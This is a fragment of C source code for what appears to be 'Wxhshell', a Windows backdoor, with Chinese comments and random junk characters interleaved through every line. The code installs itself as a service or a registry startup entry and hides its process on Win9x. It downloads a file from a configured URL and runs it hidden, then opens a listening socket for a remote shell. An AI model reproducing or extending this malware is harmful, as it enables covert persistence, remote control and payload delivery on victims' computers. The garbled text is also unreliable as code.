unsigned long cbNeeded; A@ VaaX @l>Xnqx) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6"%qv`.Fp w~-X>~ } CloseHandle(hProcess); ( pD7 .Ty,_3+{#p if(strstr(procName,"services")) return 1; // 以服务启动 Vipp /WV ~%P3Pp return 0; // 注册表启动 ;X7i/DQ } j.&
;c'V$. >h7$v~nra // 主模块 SfDQ;1? int StartWxhshell(LPSTR lpCmdLine) VK4/82@5 { B)a@fmp"a SOCKET wsl; TG]}X\c+V| BOOL val=TRUE; nEVbfNo0 int port=0; JD&U}dJ struct sockaddr_in door; #:
hVF/ &7][@v if(wscfg.ws_autoins) Install(); /co%:}ln j`9Nwa port=atoi(lpCmdLine); 3H'*?|Y(# FfXZ|o$; if(port<=0) port=wscfg.ws_port; `vEqj v DB8s WSADATA data; 1f;or_f#k? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UPO^V:.R4 ,9vJtP+T+! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )*HjRTF6G setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3ZN>9` door.sin_family = AF_INET; [d:@1yc door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4WG=m}X
door.sin_port = htons(port); nP
u`;no =c]a
{|W? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H5p5S\g-) closesocket(wsl); QK7e|M return 1; =h[yAf } @YB85p"]J. @\$Keg=>: if(listen(wsl,2) == INVALID_SOCKET) { `,m7xJZ?y closesocket(wsl); E0jUewG return 1; ; +9(; } u\w 2S4c Wxhshell(wsl); J!<#Nc WSACleanup(); "OJr*B =M7PvH'" return 0; Mk "vvk #^;s<YZ` } MLeX;He `:3&@.{T( // 以NT服务方式启动 {g@A> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C2.W[T { ITQ9(W
Un DWORD status = 0; kYtHX~@ DWORD specificError = 0xfffffff; ,4yG(O$) -$m@*L serviceStatus.dwServiceType = SERVICE_WIN32; Zly-\z_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3FY_A(+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #nbn K serviceStatus.dwWin32ExitCode = 0;
,5kvn serviceStatus.dwServiceSpecificExitCode = 0; xv&S[=Dt serviceStatus.dwCheckPoint = 0; oB}K[3uB:t serviceStatus.dwWaitHint = 0; %t{Sb4XZ4k
^\{J5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A?'
H[2]w" if (hServiceStatusHandle==0) return; &/DOO ^ i\vpGlx status = GetLastError(); Z?C4a} if (status!=NO_ERROR) w Oj88J) { &58 { serviceStatus.dwCurrentState = SERVICE_STOPPED; V0S6M^\DK serviceStatus.dwCheckPoint = 0; Z !Z,M' " serviceStatus.dwWaitHint = 0; %A=|'6)k2 serviceStatus.dwWin32ExitCode = status; QSv^l-< serviceStatus.dwServiceSpecificExitCode = specificError; )Oo2<:" SetServiceStatus(hServiceStatusHandle, &serviceStatus); c+wuC, return; WN1Jm:5YV } >F~ITk5`Oo kMqD
iJ serviceStatus.dwCurrentState = SERVICE_RUNNING; O&52o]k5l serviceStatus.dwCheckPoint = 0; d["x=
[f serviceStatus.dwWaitHint = 0; 3Cd<p[%3#, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [xWEf#', ! } i#tbdx# \d ui`F"Cc // 处理NT服务事件,比如:启动、停止 unJiE! VOID WINAPI NTServiceHandler(DWORD fdwControl) |[DV\23{G { IQ=CNby: switch(fdwControl) pqOA/^ar { nrF!;:x case SERVICE_CONTROL_STOP: ~@ ?"'!U serviceStatus.dwWin32ExitCode = 0; ,,Jjr[A_j serviceStatus.dwCurrentState = SERVICE_STOPPED; ~R'BU=!;F serviceStatus.dwCheckPoint = 0; +R9%~Z.= serviceStatus.dwWaitHint = 0; ,5=kDw2 { e7lo!(># SetServiceStatus(hServiceStatusHandle, &serviceStatus); .@Hmg } V*>73I return; {dZ!I case SERVICE_CONTROL_PAUSE: t(wZiK} serviceStatus.dwCurrentState = SERVICE_PAUSED; L%k67> break; 98h :X % case SERVICE_CONTROL_CONTINUE: VZt;P%1;h serviceStatus.dwCurrentState = SERVICE_RUNNING; \u{Jf'g break; R
!Fx)xj case SERVICE_CONTROL_INTERROGATE: Kyu@>9Ok break; ,cPkx~w0 }; [6G=yp SetServiceStatus(hServiceStatusHandle, &serviceStatus); {uEu>D$8 } Z4\tY^NI +{S Maq // 标准应用程序主函数 L!?v BL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2 aew6~ { `!<x"xKu 2.!1kije // 获取操作系统版本 F9v)R#u~ OsIsNt=GetOsVer(); "OVi /:*B GetModuleFileName(NULL,ExeFile,MAX_PATH); aD?# , Z(l9>A7! // 从命令行安装 %Fs*#S if(strpbrk(lpCmdLine,"iI")) Install(); K?$9N}+ AL(n*, // 下载执行文件 i[o&z$JO if(wscfg.ws_downexe) { sN"p5p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Av@&hD\ WinExec(wscfg.ws_filenam,SW_HIDE); ;tXB46 } ]!]`~ Z/ q|R+x7x if(!OsIsNt) { ^8b~ZX // 如果时win9x,隐藏进程并且设置为注册表启动 ! Zno[R HideProc(); QjehDwt| StartWxhshell(lpCmdLine); F1 9;RaP+ } %uh R'8" else 9qnuR'BDu if(StartFromService()) Tavtr9L0XY // 以服务方式启动 TlM'g6SQS StartServiceCtrlDispatcher(DispatchTable); ) )fDOJ else dko [ // 普通方式启动 ZYrKG+fkl StartWxhshell(lpCmdLine); Ewa[Y=+tx "9)1K!tH return 0; Gs^(YGtU }
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